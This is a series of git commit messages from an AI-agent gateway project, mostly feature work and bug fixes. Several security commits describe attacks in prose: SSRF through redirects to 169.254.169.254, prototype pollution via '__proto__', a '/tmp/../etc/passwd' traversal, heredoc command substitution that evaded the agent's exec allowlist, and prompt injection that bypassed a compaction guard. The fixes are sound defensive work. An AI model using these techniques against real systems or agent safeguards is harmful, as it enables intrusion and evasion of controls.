Add Gemini as a fourth web search provider alongside Brave, Perplexity,
and Grok. Uses Gemini's built-in Google Search grounding tool to return
search results with citations.
- Add runGeminiSearch() with Google Search grounding via tools API
- Resolve Gemini's grounding redirect URLs to direct URLs via parallel
HEAD requests (5s timeout, graceful fallback)
- Add Gemini config block (apiKey, model) with env var fallback
- Default model: gemini-2.5-flash (fast, cheap, grounding-capable)
- Strip API key from error messages for security
- Add config validation tests for Gemini provider
- Update docs/tools/web.md with Gemini provider documentation
Closes#13074
* feat: auto-detect search provider from available API keys
When no explicit provider is configured, resolveSearchProvider now
checks for available API keys in priority order (Brave → Gemini →
Perplexity → Grok) and selects the first provider with a valid key.
- Add auto-detection logic using existing resolve*ApiKey functions
- Export resolveSearchProvider via __testing_provider for tests
- Add 8 tests covering auto-detection, priority order, and explicit override
- Update docs/tools/web.md with auto-detection documentation
* fix: merge __testing exports, downgrade auto-detect log to debug
* fix: use defaultRuntime.log instead of .debug (not in RuntimeEnv type)
* fix: mark gemini apiKey as sensitive in zod schema
* fix: address Greptile review — add externalContent to Gemini payload, add Gemini/Grok entries to schema labels/help, remove dead schema-fields.ts
* fix(web-search): add JSON parse guard for Gemini API responses
Addresses Greptile review comment: add try/catch to handle non-JSON
responses from Gemini API gracefully, preventing runtime errors on
malformed responses.
Note: FIELD_HELP entries for gemini.apiKey and gemini.model were
already present in schema.help.ts, and gemini.apiKey was already
marked as sensitive in zod-schema.agent-runtime.ts (both fixed in
earlier commits).
* fix: use structured readResponseText result in Gemini error path
readResponseText returns { text, truncated, bytesRead }, not a string.
The Gemini error handler was using the result object directly, which
would always be truthy and never fall through to res.statusText.
Align with Perplexity/xAI/Brave error patterns.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* style: fix import order and formatting after rebase onto main
* Web search: send Gemini API key via header
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
When thinking is set (e.g. thinking=low), the model produces internal
thinking blocks. The reasoning auto-default (based on model capability)
was formatting these blocks as "Reasoning:" text and delivering them to
WhatsApp/Telegram, leaking internal content to users.
Skip auto-enabling reasoning when thinkLevel is already set — the two
features serve the same purpose and enabling both causes the model's
internal thinking to be exposed as visible chat messages.
Users who explicitly set /reasoning on still get reasoning output.
Closes#24290
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: treat HTTP 502/503/504 as failover-eligible (timeout reason)
When a model API returns 502 Bad Gateway, 503 Service Unavailable, or
504 Gateway Timeout, the error object carries the status code directly.
resolveFailoverReasonFromError() only checked 402/429/401/403/408/400,
so 5xx server errors fell through to message-based classification which
requires the status code to appear at the start of the error message.
Many API SDKs (Google, Anthropic) set err.status = 503 without prefixing
the message with '503', so the message classifier never matched and
failover never triggered — the run retried the same broken model.
Add 502/503/504 to the status-code branch, returning 'timeout' (matching
the existing behavior of isTransientHttpError in the message classifier).
Fixes#20999
* Changelog: add failover 502/503/504 note with credits
* Failover: classify HTTP 504 as transient in message parser
* Changelog: credit taw0002 and vincentkoc for failover fix
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(security): redact sensitive data in OTEL log exports (CWE-532)
The diagnostics-otel plugin exports ALL application logs to external
OTLP collectors without filtering. This leaks API keys, tokens, and
other sensitive data to third-party observability platforms.
Changes:
- Export redactSensitiveText from plugin-sdk for extension use
- Apply redaction to log messages before OTEL export
- Apply redaction to string attribute values
- Add tests for API key and token redaction
The existing redactSensitiveText function handles common patterns:
- API keys (sk-*, ghp_*, gsk_*, AIza*, etc.)
- Bearer tokens
- PEM private keys
- ENV-style assignments (KEY=value)
- JSON credential fields
Fixes#12542
* fix: also redact error/reason in trace spans
Address Greptile feedback:
- Redact evt.error in webhook.error span attributes and status
- Redact evt.reason in message.processed span attributes
- Redact evt.error in message.processed span status
* fix: handle undefined evt.error in type guard
* fix: redact session.state reason in OTEL metrics
Addresses Greptile feedback - session.state reason field now goes
through redactSensitiveText() like message.processed reason.
* test(diagnostics-otel): update service context for stateDir API change
* OTEL diagnostics: redact sensitive values before export
* OTEL diagnostics tests: cover message, attribute, and session reason redaction
* Changelog: note OTEL sensitive-data redaction fix
* Changelog: move OTEL redaction entry to current unreleased
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* security(cli): redact sensitive values in config get output
`runConfigGet()` reads raw config values but never applies redaction
before printing. When a user runs `openclaw config get gateway.token`
the real credential is printed to the terminal, leaking it into shell
history, scrollback buffers, and screenshots.
Use the existing `redactConfigObject()` (from redact-snapshot.ts,
already used by the Web UI path) to scrub sensitive fields before
`getAtPath()` resolves the requested key.
Fixes#13683
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* CLI/Config: add redaction regression test and changelog
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* feat(tui): add OSC 8 hyperlinks to make wrapped URLs clickable
Long URLs that exceed terminal width get broken across lines by pi-tui's
word wrapping, making them unclickable. Post-process rendered markdown
output to add OSC 8 terminal hyperlink sequences around URL fragments,
so each line fragment links to the full URL. Gracefully degrades on
terminals without OSC 8 support.
* tui: harden OSC8 URL extraction and prefix resolution
* tui: add changelog entry for OSC 8 markdown hyperlinks
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(msteams): add SSRF protection to attachment downloads via redirect and DNS validation
The attachment download flow in fetchWithAuthFallback() followed
redirects automatically on the initial fetch without any allowlist
or IP validation. This allowed DNS rebinding attacks where an
allowlisted domain (e.g. evil.trafficmanager.net) could redirect
or resolve to a private IP like 169.254.169.254, bypassing the
hostname allowlist entirely (issue #11811).
This commit adds three layers of SSRF protection:
1. safeFetch() in shared.ts: a redirect-safe fetch wrapper that uses
redirect: "manual" and validates every redirect hop against the
hostname allowlist AND DNS-resolved IP before following it.
2. isPrivateOrReservedIP() + resolveAndValidateIP() in shared.ts:
rejects RFC 1918, loopback, link-local, and IPv6 private ranges
for both initial URLs and redirect targets.
3. graph.ts SharePoint redirect handling now also uses redirect:
"manual" and validates resolved IPs, not just hostnames.
The initial fetch in fetchWithAuthFallback now goes through safeFetch
instead of a bare fetch(), ensuring redirects are never followed
without validation.
Includes 38 new tests covering IP validation, DNS resolution checks,
redirect following, DNS rebinding attacks, redirect loops, and
protocol downgrade blocking.
* fix: address review feedback on SSRF protection
- Replace hand-rolled isPrivateOrReservedIP with SDK's isPrivateIpAddress
which handles IPv4-mapped IPv6, expanded notation, NAT64, 6to4, Teredo,
octal IPv4, and fails closed on parse errors
- Add redirect: "manual" to auth retry redirect fetch in download.ts to
prevent chained redirect attacks bypassing SSRF checks
- Add redirect: "manual" to SharePoint redirect fetch in graph.ts to
prevent the same chained redirect bypass
- Update test expectations for SDK's fail-closed behavior on malformed IPs
- Add expanded IPv6 loopback (0:0:0:0:0:0:0:1) test case
* fix: type fetchMock as typeof fetch to fix TS tuple index error
* msteams: harden attachment auth and graph redirect fetch flow
* changelog(msteams): credit redirect-safeFetch hardening contributors
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* Config UI: add tag filters and complete schema help/labels
* Config UI: finalize tags/help polish and unblock test suite
* Protocol: regenerate Swift gateway models
The packager included .git directory contents in .skill archives,
causing unnecessary bloat, metadata leakage, and poor artifact hygiene.
Hard-exclude .git, .svn, .hg, __pycache__, and node_modules from
packaged archives. These paths are never useful in distributable skills.
Fixes#23149
Co-authored-by: Cursor <cursoragent@cursor.com>
* fix: sanitize tool call IDs in agent loop for Mistral strict9 format (#23595)
Mistral requires tool call IDs to be exactly 9 alphanumeric characters
([a-zA-Z0-9]{9}). The existing sanitizeToolCallIdsForCloudCodeAssist
mechanism only ran on historical messages at attempt start via
sanitizeSessionHistory, but the pi-agent-core agent loop's internal
tool call → tool result cycles bypassed that path entirely.
Changes:
- Wrap streamFn (like dropThinkingBlocks) so every outbound request
sees sanitized tool call IDs when the transcript policy requires it
- Replace call_${Date.now()} in pendingToolCalls with a 9-char hex ID
generated from crypto.randomBytes
- Add Mistral tool call ID error pattern to ERROR_PATTERNS.format so
the error is correctly classified for retry/rotation
* Changelog: document Mistral strict9 tool-call ID fix
---------
Co-authored-by: echoVic <AkiraVic@outlook.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: add mistral to MemorySearchSchema provider/fallback unions
The Mistral embedding provider was added to the runtime code but the
Zod config schema was not updated, causing config validation to reject
`provider: "mistral"` and `fallback: "mistral"` as invalid input.
* Changelog: add unreleased note for Mistral memory schema fix
---------
Co-authored-by: Drake (Moltbot Dev) <drake@clawd.bot>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: make replyToMode 'off' actually prevent threading in Slack
Three independent bugs caused Slack replies to always create threads
even when replyToMode was set to 'off':
1. Typing indicator created threads via statusThreadTs fallback (#16868)
- resolveSlackThreadTargets fell back to messageTs for statusThreadTs
- 'is typing...' was posted as thread reply, creating a thread
- Fix: remove messageTs fallback, let statusThreadTs be undefined
2. [[reply_to_current]] tags bypassed replyToMode entirely (#16080)
- Slack dock had allowExplicitReplyTagsWhenOff: true
- Reply tags from system prompt always threaded regardless of config
- Fix: set allowExplicitReplyTagsWhenOff to false for Slack
3. Contradictory replyToMode defaults in codebase (#20827)
- monitor/provider.ts defaulted to 'all'
- accounts.ts defaulted to 'off' (matching docs)
- Fix: align provider.ts default to 'off' per documentation
Fixes: openclaw/openclaw#16868, openclaw/openclaw#16080, openclaw/openclaw#20827
* fix(slack): respect replyToMode in DMs even with typing indicator thread
When replyToMode is 'off' in DMs, replies should stay in the main
conversation even when the typing indicator creates a thread context.
Previously, when incomingThreadTs was set (from the typing indicator's
thread), replyToMode was forced to 'all', causing all replies to go
into the thread.
Now, for direct messages, the user's configured replyToMode is always
respected. For channels/groups, the existing behavior is preserved
(stay in thread if already in one).
This fix:
- Keeps the typing indicator working (statusThreadTs fallback preserved)
- Prevents DM replies from being forced into threads
- Maintains channel thread continuity
Fixes#16868
* refactor(slack): eliminate redundant resolveSlackThreadContext call
- Add isThreadReply to resolveSlackThreadTargets return value
- Remove duplicate call in dispatch.ts
- Addresses greptile review feedback with cleaner DRY approach
* docs(slack): add JSDoc to resolveSlackThreadTargets
Document return values including isThreadReply distinction between
genuine user thread replies vs bot status message thread context.
* docs(changelog): record Slack replyToMode off threading fixes
---------
Co-authored-by: James <jamesrp13@gmail.com>
Co-authored-by: theoseo <suhong.seo@gmail.com>
* fix(slack): preserve thread_ts in queue drain and deliveryContext
Two related fixes for Slack thread reply routing:
1. Queue drain drops string thread_ts (#11195)
- `typeof threadId === "number"` in drain.ts only matches Telegram numeric
topic IDs. Slack thread_ts is a string like "1770474140.187459" which
fails the check, causing threadKey to become empty.
- Changed to `threadId != null && threadId !== ""` to accept both number
and string thread IDs.
- Applies to all 3 occurrences in drain.ts: cross-channel detection,
thread key building, and collected originatingThreadId extraction.
2. DM deliveryContext missing thread_ts (#10837)
- updateLastRoute calls for Slack DMs in both prepare.ts and dispatch.ts
built deliveryContext without threadId, so the session's delivery context
never included thread_ts for DM threads.
- Added threadId from threadContext.messageThreadId / ctxPayload.MessageThreadId
to both updateLastRoute call sites.
Tests: 3 new cases in queue.collect-routing.test.ts
- Collects messages with matching string thread_ts (same Slack thread)
- Separates messages with different string thread_ts (different threads)
- Treats empty string threadId same as absent
Closes#10837, closes#11195
* fix(slack): preserve string thread context in queue + DM route updates
---------
Co-authored-by: RobClawd <clawd@RobClawds-Mac-mini.local>
When a bare Slack user ID (U-prefix) is passed as the send target
without an explicit `user:` prefix, `parseSlackTarget` classifies it as
kind="channel". `resolveChannelId` then passes it through to callers
without calling `conversations.open`.
This works for `chat.postMessage` (which tolerates user IDs), but
`files.uploadV2` delegates to `completeUploadExternal` which validates
`channel_id` against `^[CGDZ][A-Z0-9]{8,}$` — rejecting U-prefixed
IDs with `invalid_arguments`.
Fix: detect U-prefixed IDs in `resolveChannelId` regardless of the
parsed `kind`, and always resolve them via `conversations.open` to
obtain the DM channel ID (D-prefix).
Includes test coverage for bare, prefixed, and mention-style user ID
targets with file uploads, plus a channel-target negative case.
* fix(hooks): suppress main session events for silent/delivered hook turns
When a hook agent turn returns NO_REPLY (SILENT_REPLY_TOKEN), mark the
result as delivered so the hooks handler skips enqueueSystemEvent and
requestHeartbeatNow. Without this, every Gmail notification classified
as NO_REPLY still injects a system event into the main agent session,
causing context window growth proportional to email volume.
Two-part fix:
- cron/isolated-agent/run.ts: set delivered:true when synthesizedText
matches SILENT_REPLY_TOKEN so callers know no notification is needed
- gateway/server/hooks.ts: guard enqueueSystemEvent + requestHeartbeatNow
with !result.delivered (addresses duplicate delivery, refs #20196)
Refs: https://github.com/openclaw/openclaw/issues/20196
* Changelog: document hook silent-delivery suppression fix
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix(cache): inject cache_control into system prompt for OpenRouter Anthropic
Add onPayload wrapper that injects cache_control: { type: "ephemeral" }
into the system/developer message content for OpenRouter requests routed
to Anthropic models. The system prompt is typically ~18k tokens and was
being re-processed on every request without caching.
Fixes#15151
* Changelog: add OpenRouter note for #17473
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* OpenRouter: allow any model ID instead of restricting to static catalog
OpenRouter models were restricted to a hardcoded prefix list in the internal model catalog, preventing use of newly added or less common models. This change makes OpenRouter work as the pass-through proxy it is -- any valid OpenRouter model ID now resolves dynamically.
Fixes https://github.com/openclaw/openclaw/issues/5241
Changes:
- Add OpenRouter as an implicit provider in resolveImplicitProviders so models.json is populated when an API key is detected (models-config.providers.ts)
- Add a pass-through fallback in resolveModel that creates OpenRouter models on-the-fly when they aren't pre-registered in the local catalog (
model.ts
)
- Remove the static prefix filter for OpenRouter/opencode in isModernModelRef (live-model-filter.ts)
* Apply requested change for maxTokens
* Agents: remove dead helper in live model filter
* Changelog: note Joly0/main OpenRouter fix
* Changelog: fix OpenRouter entry text
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* Default reasoning to on when model has reasoning: true (fix#22456)
What: When a model is configured with reasoning: true in openclaw.json (e.g. OpenRouter x-ai/grok-4.1-fast), the session now defaults reasoningLevel to on if the user has not set it via /reasoning or session store.
Why: Users expected setting reasoning: true on the model to enable reasoning; previously only session/directive reasoningLevel was used and it always defaulted to off, so Think stayed off despite the model config.
* Chore: sync formatted files from main for CI
* Changelog: note zwffff/main OpenRouter fix
* Changelog: fix OpenRouter entry text
* Update msteams.md
* Update msteams.md
* Update msteams.md
---------
Co-authored-by: 曾文锋0668000834 <zeng.wenfeng@xydigit.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
extraParams.provider was silently dropped by createStreamFnWithExtraParams().
This change injects it into model.compat.openRouterRouting so pi-ai's
buildParams includes params.provider in the API request body.
Enables OpenRouter provider routing options (only, order, allow_fallbacks,
data_collection, ignore, sort, quantizations) via model config:
```jsonc
"openrouter/model-name": {
"params": {
"provider": {
"only": ["deepinfra", "fireworks"],
"allow_fallbacks": false
}
}
}
```
Closes#10869✍️ Author: Claude Code with @carrotRakko (AI-written, human-approved)
* fix(providers): preserve openrouter/ prefix for native models (#12924)
OpenRouter-native models like 'openrouter/aurora-alpha' need the full
'openrouter/<name>' as the model ID in API requests. The existing
parseModelRef() stripped the prefix, sending just 'aurora-alpha'
which OpenRouter rejects with 400.
Fix: normalizeProviderModelId() now re-adds the 'openrouter/' prefix
for models without a slash (native models), while passing through
external provider models (e.g. 'anthropic/claude-sonnet-4-5') as-is.
Closes#12924
* Changelog: add OpenRouter note for #12942
---------
Co-authored-by: Luna AI <luna@coredirection.ai>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* fix: preserve stored provider in resolveSessionModelRef for vendor-prefixed models
When an OpenRouter model with a vendor prefix (e.g. "anthropic/claude-haiku-4.5")
was successfully used and persisted to the session entry, the next call to
resolveSessionModelRef would re-parse the model string through parseModelRef,
which splits on the first slash and incorrectly extracts "anthropic" as the
provider — discarding the stored "openrouter" provider entirely. This caused
subsequent requests to attempt direct Anthropic API calls with an OpenRouter
API key, producing "credit balance too low" billing errors.
The fix trusts the explicitly stored modelProvider on the session entry and
skips parseModelRef re-parsing when a provider is already recorded. parseModelRef
is still used as a fallback when no provider is stored on the entry.
Co-authored-by: Cursor <cursoragent@cursor.com>
* Changelog: add OpenRouter note for #22753
---------
Co-authored-by: Cursor <cursoragent@cursor.com>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
When a config file is written atomically (tmp → rename), chokidar can
fire an 'unlink' event for the temporary removal of the destination file
before the rename completes. runReload() would then call readSnapshot(),
which returns { exists: false, valid: true, config: {} } — an empty
config that looks valid — causing diffConfigPaths() to find many changes
and triggering an unnecessary SIGUSR1 restart.
The restarted gateway process then fails to find the config file (still
in the middle of the write) and enters a crash loop with:
'Missing config. Run openclaw setup...'
Fix: guard against exists=false before the existing valid=false check,
so mid-write snapshots are silently skipped rather than treated as a
config wipe.
Fixes#23321
A timeout is model/network-specific, not an auth issue. Marking the
auth profile as failed on timeout poisons fallback models on the same
provider (e.g. gpt-5.3 timeout would block gpt-5.2 via shared profile
cooldown). The prompt-phase path already guards against this; this
aligns the post-response timeout path to match.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* UI: polish dashboard — agents overview, chat toolbar, debug simplification, login UX
* fix(ui): restore chat draft ordering, remove extra toolbar buttons
* UI: replace agent avatar fallback with lobster emoji
* style(ui): update layout styles for sidebar and shell, adjusting navigation widths for improved responsiveness
* feat(ui): implement sidebar resizing functionality and enhance navigation with new search and sorting features for sessions
* fix(ui): update references from ClawDash to OpenClaw in checklist and dashboard header
* style(ui): adjust sidebar minimum width and add responsive behavior for narrow states
* UI: minimal chat agent bar — remove sessions panel, strip chrome
* style(ui): update light theme colors and add ambient gradient for Luxe Cream & Coral
* UI: replace sparkle with OpenClaw lobster logo in chat
* style(ui): rename theme toggle to theme select and update related styles; adjust layout and spacing for agents and chat components
* style(ui): enhance agents panel layout with grid system, update toolbar styles, and refine usage chart presentation
* style(ui): adjust sessions table column width and refine agent model fields layout for better responsiveness
* style(ui): refine component styles for improved layout and responsiveness; adjust gradients, spacing, and element alignment across chat and agent interfaces
* ui: align chat-controls session container
* ui: enlarge agent controls for better touch targets
* ui: pass basePath to avatar renderer in grouped chat
* ui: formatting fixups from pre-commit hooks
* style(ui): update layout and spacing for chat controls; enhance select component styles and improve responsiveness
* UI: tighten chat header spacing and icon sizes
* UI: widen chat attachment gap
* style(ui): refine chat header layout and adjust icon sizes for improved visual consistency
* style(ui): enhance component styles and layout; introduce new inline field styles, update overview card design, and improve session filters for better usability
* style(ui): improve CSS formatting and consistency across components; adjust gradients, spacing, and layout for better readability and visual appeal
* fix(ui): correct rendering of empty state in overview cards by replacing 'nothing' with an empty string
* fix(agents): skip bootstrap files with undefined path
buildBootstrapContextFiles() called file.path.replace() without checking
that path was defined. If a hook pushed a bootstrap file using 'filePath'
instead of 'path', the function threw TypeError and crashed every agent
session — not just the misconfigured hook.
Fix: add a null-guard before the path.replace() call. Files with undefined
path are skipped with a warning so one bad hook can't take down all agents.
Also adds a test covering the undefined-path case.
Fixes#22693
* fix: harden bootstrap path validation and report guards (#22698) (thanks @arosstale)
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
Node exec events (exec.started, exec.finished, exec.denied) now check
the tools.exec.notifyOnExit config setting before generating system
event notifications. When notifyOnExit is false, all node exec event
notifications are suppressed.
This makes node exec behavior consistent with gateway exec, which
already respects this setting.
Fixes#20193
Co-Authored-By: Claude <noreply@anthropic.com>
When the backoff saturates at 60 min and retries fire every 30 min
(e.g. cron jobs), each failed request was resetting cooldownUntil to
now+60m. Because now+60m < existing deadline, the window kept getting
renewed and the profile never recovered without manually clearing
usageStats in auth-profiles.json.
Fix: only write a new cooldownUntil (or disabledUntil for billing) when
the new deadline is strictly later than the existing one. This lets the
original window expire naturally while still allowing genuine backoff
extension when error counts climb further.
Fixes#23516
[AI-assisted]
Native Google Gemini provider was accumulating 2K-8K tokens of Base64
thoughtSignature blobs per turn, causing premature context overflow.
The sanitizer was only enabled for OpenRouter Gemini, not native Google.
Fixes#23392
Bug: privateApiStatus cache expires after 10 minutes, returning null.
The check '!== false' treats null as truthy, causing 500 errors when
trying to use Private API features that aren't actually available.
Root cause: In JavaScript, null !== false evaluates to true.
Fix: Changed all checks from '!== false' to '=== true', so null (cache
expired/unknown) is treated as disabled (safe default).
Files changed:
- extensions/bluebubbles/src/send.ts (line 376)
- extensions/bluebubbles/src/monitor-processing.ts (line 423)
- extensions/bluebubbles/src/attachments.ts (lines 210, 220)
Fixes#23393
Strict validation (added in d1e9490f9) rejects the legitimate 'comment'
field on bindings. This field is used for annotations in config files.
Changes:
- BindingsSchema: added comment: z.string().optional()
- AgentBinding type: added comment?: string
Fixes#23385
Closes#23053
The streaming path already strips [[reply_to_current]] and other
directive tags via stripInlineDirectiveTagsForDisplay, but the
non-streaming broadcastChatFinal path and the chat.inject path
sent raw message content to webchat clients, causing tags to
appear in rendered messages after streaming completes.
- Prefix memoryCache keys with namespace to prevent cross-account false
positives when different accounts receive the same message_id
- Add inflight tracking map to prevent TOCTOU race where concurrent
async calls for the same message both pass the check and both proceed
- Remove expired-entry deletion from has() to avoid silent cache/disk
divergence; actual cleanup happens probabilistically inside record()
- Add time-based cache invalidation (30s) to DedupStore.load() so
external writes are eventually picked up
- Refresh cacheLoadedAt after flush() so we don't immediately re-read
data we just wrote
Co-authored-by: Cursor <cursoragent@cursor.com>
Closes#23369
Feishu may redeliver the same message during WebSocket reconnects or process
restarts. The existing in-memory dedup map is lost on restart, so duplicates
slip through.
This adds a dual-layer dedup strategy:
- Memory cache (fast synchronous path, unchanged capacity)
- Filesystem store (~/.openclaw/feishu/dedup/) that survives restarts
TTL is extended from 30 min to 24 h. Disk writes use atomic rename and
probabilistic cleanup to keep each per-account file under 10 k entries.
Disk errors are caught and logged — message handling falls back to
memory-only behaviour so it is never blocked.
- Move gateway.start() before AgentSideConnection creation
- Wait for hello message to confirm connection is established
- This fixes issues where messages were processed before gateway was ready
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The hand-written config validator rejects `channels.modelByChannel` as
"unknown channel id: modelByChannel" even though the Zod schema, TypeScript
types, runtime code, and CLI docs all treat it as valid. The `defaults`
meta-key was already whitelisted but `modelByChannel` was missed when
the feature was added in 2026.2.21.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
The bundler exports shared symbols from dist/entry.js, so other chunks
import it as a dependency. When dist/index.js is the actual entry point
(e.g. systemd service), lazy module loading eventually imports entry.js,
triggering its unguarded top-level code which calls runCli(process.argv)
a second time. This starts a duplicate gateway that fails on lock/port
contention and crashes the process with exit(1), causing a restart loop.
Wrap all top-level executable code in an isMainModule() check so it only
runs when entry.ts is the actual main module, not when imported as a
shared dependency by the bundler.
Move lock.release() before restartGatewayProcessWithFreshPid() so the
spawned child can immediately acquire the lock without racing against
a zombie parent. This eliminates the root cause of the restart loop
where the child times out waiting for a lock held by its now-dead parent.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
process.exit() called from inside an async IIFE bypasses the outer
try/finally block that releases the gateway lock. This leaves a stale
lock file pointing to a zombie PID, preventing the spawned child or
systemctl restart from acquiring the lock. Release the lock explicitly
before calling exit in both the restart-spawned and stop code paths.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
kill(pid, 0) succeeds for zombie processes, causing the gateway lock
to treat a zombie lock owner as alive. Read /proc/<pid>/status on
Linux to check for 'Z' (zombie) state before reporting the process
as alive. This prevents the lock from being held indefinitely by a
zombie process during gateway restart.
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* feat: add Korean stop words and tokenization for memory search
* fix: address review comments on Korean query expansion
* fix: lint errors - curly brace and toSorted
* fix(memory): improve Korean stop words and deduplicate
* Memory: tighten Korean query expansion filtering
* Docs/Changelog: credit Korean memory query expansion
---------
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
* feat: implement DM history backfill for BlueBubbles
- Add fetchBlueBubblesHistory function to fetch message history from API
- Modify processMessage to fetch history for both groups and DMs
- Use dmHistoryLimit for DMs and historyLimit for groups
- Add InboundHistory field to finalizeInboundContext call
Fixes#20296
* style: format with oxfmt
* address review: in-memory history cache, resolveAccount try/catch, include is_from_me
- Wrap resolveAccount in try/catch instead of unreachable guard (it throws)
- Include is_from_me messages with 'me' sender label for full conversation context
- Add in-memory rolling history map (chatHistories) matching other channel patterns
- API backfill only on first message per chat, not every incoming message
- Remove unused buildInboundHistoryFromEntries import
* chore: remove unused buildInboundHistoryFromEntries helper
Dead code flagged by Greptile — mapping is done inline in
monitor-processing.ts.
* BlueBubbles: harden DM history backfill state handling
* BlueBubbles: add bounded exponential backoff and history payload guards
* BlueBubbles: evict merged history keys
* Update extensions/bluebubbles/src/monitor-processing.ts
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
---------
Co-authored-by: Ryan Mac Mini <ryanmacmini@ryans-mac-mini.tailf78f8b.ts.net>
Co-authored-by: Vincent Koc <vincentkoc@ieee.org>
Co-authored-by: greptile-apps[bot] <165735046+greptile-apps[bot]@users.noreply.github.com>
Add integration test confirming that runMessageAction with a sandbox
root now accepts media paths under os.tmpdir() through the full
normalization pipeline (normalizeSandboxMediaList → resolveSandboxedMediaSource).
resolveSandboxedMediaSource() rejected all paths outside the sandbox
workspace root, including /tmp. This blocked sandboxed agents from
sending locally-generated temp files (e.g. images from Python scripts)
via messaging actions.
Add an os.tmpdir() prefix check before the strict sandbox containment
assertion, consistent with buildMediaLocalRoots() which already
includes os.tmpdir() in its default allowlist. Path traversal through
/tmp (e.g. /tmp/../etc/passwd) is prevented by path.resolve()
normalization before the prefix check.
Relates-to: #16382, #14174
applyMergePatch in merge-patch.ts iterates Object.entries(patch) without
filtering dangerous keys. When a caller passes a JSON-parsed object with
a "__proto__" key, the loop assigns result["__proto__"] = value, which
replaces the prototype of result and pollutes Object.prototype for the
entire process.
Add a BLOCKED_KEYS set ({"__proto__", "constructor", "prototype"}) and
skip those keys during iteration, matching the guard already present in
deepMerge (includes.ts) via isBlockedObjectKey.
Adds four tests covering __proto__, constructor, prototype, and nested
__proto__ injection.
Co-authored-by: Clawborn <tianrun.yang103@gmail.com>
* feat(channels): add Synology Chat native channel
Webhook-based integration with Synology NAS Chat (DSM 7+).
Supports outgoing webhooks, incoming messages, multi-account,
DM policies, rate limiting, and input sanitization.
- HMAC-based constant-time token validation
- Configurable SSL verification (allowInsecureSsl) for self-signed NAS certs
- 54 unit tests across 5 test suites
- Follows the same ChannelPlugin pattern as LINE/Discord/Telegram
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
* feat(synology-chat): add pairing, warnings, messaging, agent hints
- Enable media capability (file_url already supported by client)
- Add pairing.notifyApproval to message approved users
- Add security.collectWarnings for missing token/URL, insecure SSL, open DM policy
- Add messaging.normalizeTarget and targetResolver for user ID resolution
- Add directory stubs (self, listPeers, listGroups)
- Add agentPrompt.messageToolHints with Synology Chat formatting guide
- 63 tests (up from 54), all passing
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
---------
Co-authored-by: Claude Opus 4.6 <noreply@anthropic.com>
* fix(gateway): allow localhost Control UI without device identity when allowInsecureAuth is set
* fix(gateway): pass isLocalClient to evaluateMissingDeviceIdentity
* test: add regression tests for localhost Control UI pairing
* fix(gateway): require pairing for legacy metadata upgrades
* test(gateway): fix legacy metadata e2e ws typing
---------
Co-authored-by: Peter Steinberger <steipete@gmail.com>
* includes: prompt overhead in compaction safeguard calculation.
Subtracts SUMMARIZATION_OVERHEAD_TOKENS from maxChunkTokens in both the main summarization path and the dropped-messages summarization path.
This ensures the chunk budget leaves room for the prompt overhead that generateSummary wraps around each chunk.
* adds: budget for overhead tokens to use an effectiveMax instead of maxTokens naïvely.
- Added `SUMMARIZATION_OVERHEAD_TOKENS = 4096` — a budget for the tokens that `generateSummary` adds on top of the serialized conversation (system prompt, `<conversation>` tags, summarization instructions, `<previous-summary>` block, and reasoning: "high" thinking budget).
- `chunkMessagesByMaxTokens` now divides `maxTokens` by `SAFETY_MARGIN` (1.2) before comparing against estimated token counts. Previously, the safety margin was only used in `computeAdaptiveChunkRatio` and `isOversizedForSummary` but not in the actual chunking loop — so chunks could be built that fit the estimated budget but exceeded the real budget once the API tokenized them properly.
The shell command analyzer (splitShellPipeline) skipped all token
validation while parsing heredoc bodies. When the heredoc delimiter
was unquoted, bash performs command substitution on the body content,
allowing $(cmd) and backtick expressions to execute arbitrary commands
that bypass the exec allowlist.
Track whether heredoc delimiters are quoted or unquoted. When unquoted,
scan the body for $( , ${ , and backtick tokens and reject the command.
Quoted heredocs (<<'EOF' / <<"EOF") are safe - the shell treats their
body as literal text.
Ref: https://github.com/openclaw/openclaw/security/advisories/GHSA-65rx-fvh6-r4h2
Remove the `overflowCompactionAttempts = 0` reset inside the inner loop's
tool-result-truncation branch. The counter was being zeroed on each truncation
cycle, allowing prompt-injection attacks to bypass the MAX_OVERFLOW_COMPACTION_ATTEMPTS
guard and trigger unbounded auto-compaction, exhausting context window resources (DoS).
CWE-400 / GHSA-x2g4-7mj7-2hhj
* docs(channels): promote Signal option setups to onboarding sections
* docs(channels): rename Microsoft Teams minimal setup section
* docs(channels): standardize onboarding option headings for Zalo and Twitch
* security(hooks): block prototype-chain traversal in webhook template getByPath
The getByPath() function in hooks-mapping.ts traverses attacker-controlled
webhook payload data using arbitrary property path expressions, but does not
filter dangerous property names (__proto__, constructor, prototype).
The config-paths module (config-paths.ts) already blocks these exact keys
for config path traversal via a BLOCKED_KEYS set, but the hooks template
